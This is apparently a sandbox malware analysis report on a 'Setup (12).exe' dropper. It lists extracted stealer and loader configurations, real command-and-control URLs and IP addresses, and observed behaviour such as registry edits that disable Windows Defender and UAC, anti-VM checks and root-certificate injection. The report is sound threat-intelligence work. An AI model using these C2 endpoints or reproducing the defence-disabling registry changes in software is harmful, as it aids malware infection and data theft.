Overview
overview
10Static
static
Setup (1).exe
windows7_x64
Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
165s -
max time network
384s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
27/08/2021, 15:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210408
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210410
Errors
General
-
Target
Setup (12).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
https://kmsauto.us/ra/ALL.txt
Extracted
https://kmsauto.us/ALL.txt
Extracted
metasploit
windows/single_exec
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
vidar
40.1
995
https://eduarroma.tumblr.com/
-
profile_id
995
Extracted
smokeloader
2020
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
Extracted
redline
ads
45.93.4.12:80
Extracted
redline
installs8912
185.186.142.245:22850
Extracted
redline
dibild2
135.148.139.222:1494
Extracted
redline
27.08
95.181.172.100:55640
Signatures
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral7/memory/1740-184-0x0000000002F60000-0x0000000003886000-memory.dmp family_glupteba behavioral7/memory/1740-186-0x0000000000400000-0x00000000027D8000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2276 1588 rundll32.exe 79 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 28 IoCs
resource yara_rule behavioral7/memory/2116-228-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral7/memory/2116-230-0x000000000041A67A-mapping.dmp family_redline behavioral7/memory/2548-232-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral7/memory/2076-231-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/2548-234-0x000000000041A6BE-mapping.dmp family_redline behavioral7/memory/2076-229-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral7/memory/1052-235-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral7/memory/1052-236-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/2076-237-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral7/memory/1052-239-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral7/memory/2740-244-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/1352-250-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/972-265-0x000000000041A6B2-mapping.dmp family_redline behavioral7/memory/2412-270-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/2908-276-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/2832-283-0x000000000041A6B2-mapping.dmp family_redline behavioral7/memory/360-289-0x000000000041A68E-mapping.dmp family_redline behavioral7/memory/2856-291-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/1408-308-0x000000000041A6B2-mapping.dmp family_redline behavioral7/memory/2444-314-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/764-317-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/1632-322-0x000000000041A6B2-mapping.dmp family_redline behavioral7/memory/328-332-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/568-340-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/2752-344-0x000000000041C6B2-mapping.dmp family_redline behavioral7/memory/2744-346-0x000000000041A6B2-mapping.dmp family_redline behavioral7/memory/2376-350-0x000000000041A616-mapping.dmp family_redline behavioral7/memory/1920-354-0x000000000041C6B2-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 4 IoCs
resource yara_rule behavioral7/memory/848-176-0x00000000024E0000-0x000000000257D000-memory.dmp family_vidar behavioral7/memory/584-182-0x0000000002470000-0x000000000250D000-memory.dmp family_vidar behavioral7/memory/584-192-0x0000000000400000-0x0000000002400000-memory.dmp family_vidar behavioral7/memory/848-191-0x0000000000400000-0x0000000002400000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 57 IoCs
pid Process 1384 mQNZN2_QYhL0SydK06nNiYZD.exe 1688 iHBjPOanAL9mSHCgc0vLolh0.exe 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 1584 2gCS3jN3Q6FLb49kwTO8ugQI.exe 1092 6EMgu9usQL9MfFo42L1Fletk.exe 1504 bWBdhlKPxeaqTIbFonPK8R90.exe 848 xk3SX1x0YxijBx321OwFsvBF.exe 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 1176 msYI4mK4qR1gUUa4I7cLEqmE.exe 1188 MJ8dSahb62Cbj5gHY1kD8PF3.exe 328 feldwAVG4i_tiqBwf36LhZEJ.exe 1948 Sq13NJutwTBFI4zAToXltQuE.exe 796 dLsg5Znfx_L5WPyNmYmzH7OR.exe 1632 v6xY61RAljK5FeclNHyRAQuy.exe 1104 EjvAoMujpF2WhWdp6DxmP7Hj.exe 1744 jhXOPRUZpqoBXNAXzkZYE455.exe 836 ubsjcPBLGrE9MHXvkP3PC0Ld.exe 584 ZHwwz4rvxtyjqAdmM34KP156.exe 1972 QvnbKwZmuKVX07R25cIlUQLX.exe 1664 nK0cXd70Cjpye8f51l7b2vyH.exe 1016 Gne08jXb0P6PJlsQAo6hDUCA.exe 1912 ZDj9euTac4ji2IjPYiofbB94.exe 1716 hUzIxevvvTToMDgQNXDVnkP3.exe 2064 1aWgGudHjeVdKASy1v4R_Rou.exe 2040 KA2ranqykrurhVMmCHKquiPB.exe 1740 gDjjdK7qSAnEWFHdEDUeeLHD.exe 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 2532 iHBjPOanAL9mSHCgc0vLolh0.exe 2640 AdvancedRun.exe 2844 UjMimefv.com 2936 25pxIiau.com 2996 huOuWl3M.com 3020 AdvancedRun.exe 2076 AdCbXkBlSGkjR3WSoRpVCye2.exe 2116 6EMgu9usQL9MfFo42L1Fletk.exe 2548 feldwAVG4i_tiqBwf36LhZEJ.exe 1052 OkOjG1bRh6LHljnfdeWGrKxe.exe 2444 GnXgYmeh82H2HVL_uWusdrnr.exe 2740 AdCbXkBlSGkjR3WSoRpVCye2.exe 1352 OkOjG1bRh6LHljnfdeWGrKxe.exe 972 GnXgYmeh82H2HVL_uWusdrnr.exe 2412 AdCbXkBlSGkjR3WSoRpVCye2.exe 2908 OkOjG1bRh6LHljnfdeWGrKxe.exe 2832 GnXgYmeh82H2HVL_uWusdrnr.exe 2856 AdCbXkBlSGkjR3WSoRpVCye2.exe 2472 OkOjG1bRh6LHljnfdeWGrKxe.exe 1408 GnXgYmeh82H2HVL_uWusdrnr.exe 2444 AdCbXkBlSGkjR3WSoRpVCye2.exe 764 OkOjG1bRh6LHljnfdeWGrKxe.exe 1632 GnXgYmeh82H2HVL_uWusdrnr.exe 2024 AdCbXkBlSGkjR3WSoRpVCye2.exe 328 OkOjG1bRh6LHljnfdeWGrKxe.exe 2376 GnXgYmeh82H2HVL_uWusdrnr.exe 568 AdCbXkBlSGkjR3WSoRpVCye2.exe 2752 OkOjG1bRh6LHljnfdeWGrKxe.exe 2744 GnXgYmeh82H2HVL_uWusdrnr.exe 2376 AdCbXkBlSGkjR3WSoRpVCye2.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Sq13NJutwTBFI4zAToXltQuE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion QvnbKwZmuKVX07R25cIlUQLX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion QvnbKwZmuKVX07R25cIlUQLX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ZDj9euTac4ji2IjPYiofbB94.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ZDj9euTac4ji2IjPYiofbB94.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Sq13NJutwTBFI4zAToXltQuE.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation Setup (12).exe -
Loads dropped DLL 55 IoCs
pid Process 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 1652 Setup (12).exe 796 dLsg5Znfx_L5WPyNmYmzH7OR.exe 796 dLsg5Znfx_L5WPyNmYmzH7OR.exe 2640 AdvancedRun.exe 2640 AdvancedRun.exe 3044 WerFault.exe 3044 WerFault.exe 3044 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 3036 WerFault.exe 1092 6EMgu9usQL9MfFo42L1Fletk.exe 328 feldwAVG4i_tiqBwf36LhZEJ.exe 3036 WerFault.exe 3044 WerFault.exe 2428 rundll32.exe 2428 rundll32.exe 2428 rundll32.exe 2428 rundll32.exe -
resource yara_rule behavioral7/files/0x000300000001316e-107.dat themida behavioral7/files/0x000300000001316e-95.dat themida behavioral7/files/0x0003000000013180-149.dat themida behavioral7/files/0x0003000000013193-152.dat themida behavioral7/files/0x0003000000013193-136.dat themida behavioral7/files/0x0003000000013180-119.dat themida behavioral7/memory/1948-226-0x00000000002B0000-0x00000000002B1000-memory.dmp themida behavioral7/memory/1912-252-0x0000000000F40000-0x0000000000F41000-memory.dmp themida behavioral7/memory/1972-256-0x0000000000350000-0x0000000000351000-memory.dmp themida -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" dLsg5Znfx_L5WPyNmYmzH7OR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths dLsg5Znfx_L5WPyNmYmzH7OR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions dLsg5Znfx_L5WPyNmYmzH7OR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe = "0" dLsg5Znfx_L5WPyNmYmzH7OR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Real-Time Protection dLsg5Znfx_L5WPyNmYmzH7OR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" dLsg5Znfx_L5WPyNmYmzH7OR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0" dLsg5Znfx_L5WPyNmYmzH7OR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features dLsg5Znfx_L5WPyNmYmzH7OR.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Sq13NJutwTBFI4zAToXltQuE.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA QvnbKwZmuKVX07R25cIlUQLX.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ZDj9euTac4ji2IjPYiofbB94.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA dLsg5Znfx_L5WPyNmYmzH7OR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dLsg5Znfx_L5WPyNmYmzH7OR.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 ipinfo.io 22 ipinfo.io 709 ipinfo.io 710 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 1948 Sq13NJutwTBFI4zAToXltQuE.exe 1972 QvnbKwZmuKVX07R25cIlUQLX.exe 1912 ZDj9euTac4ji2IjPYiofbB94.exe -
Suspicious use of SetThreadContext 22 IoCs
description pid Process procid_target PID 1688 set thread context of 2532 1688 iHBjPOanAL9mSHCgc0vLolh0.exe 66 PID 1092 set thread context of 2116 1092 6EMgu9usQL9MfFo42L1Fletk.exe 86 PID 1700 set thread context of 2076 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 83 PID 328 set thread context of 2548 328 feldwAVG4i_tiqBwf36LhZEJ.exe 87 PID 1932 set thread context of 1052 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 84 PID 1700 set thread context of 2740 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 89 PID 1932 set thread context of 1352 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 91 PID 1836 set thread context of 972 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 92 PID 1700 set thread context of 2412 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 93 PID 1932 set thread context of 2908 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 94 PID 1836 set thread context of 2832 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 95 PID 796 set thread context of 360 796 dLsg5Znfx_L5WPyNmYmzH7OR.exe 104 PID 1700 set thread context of 2856 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 98 PID 1836 set thread context of 1408 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 103 PID 1700 set thread context of 2444 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 105 PID 1932 set thread context of 764 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 107 PID 1836 set thread context of 1632 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 108 PID 1932 set thread context of 328 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 110 PID 1700 set thread context of 568 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 112 PID 1932 set thread context of 2752 1932 OkOjG1bRh6LHljnfdeWGrKxe.exe 113 PID 1836 set thread context of 2744 1836 GnXgYmeh82H2HVL_uWusdrnr.exe 114 PID 1700 set thread context of 2376 1700 AdCbXkBlSGkjR3WSoRpVCye2.exe 115 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 3036 848 WerFault.exe 43 3044 584 WerFault.exe 53 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI msYI4mK4qR1gUUa4I7cLEqmE.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI msYI4mK4qR1gUUa4I7cLEqmE.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI msYI4mK4qR1gUUa4I7cLEqmE.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4724 schtasks.exe 4708 schtasks.exe -
Kills process with taskkill 3 IoCs
pid Process 2712 taskkill.exe 4584 taskkill.exe 4796 taskkill.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (12).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 ZHwwz4rvxtyjqAdmM34KP156.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e ZHwwz4rvxtyjqAdmM34KP156.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C Setup (12).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49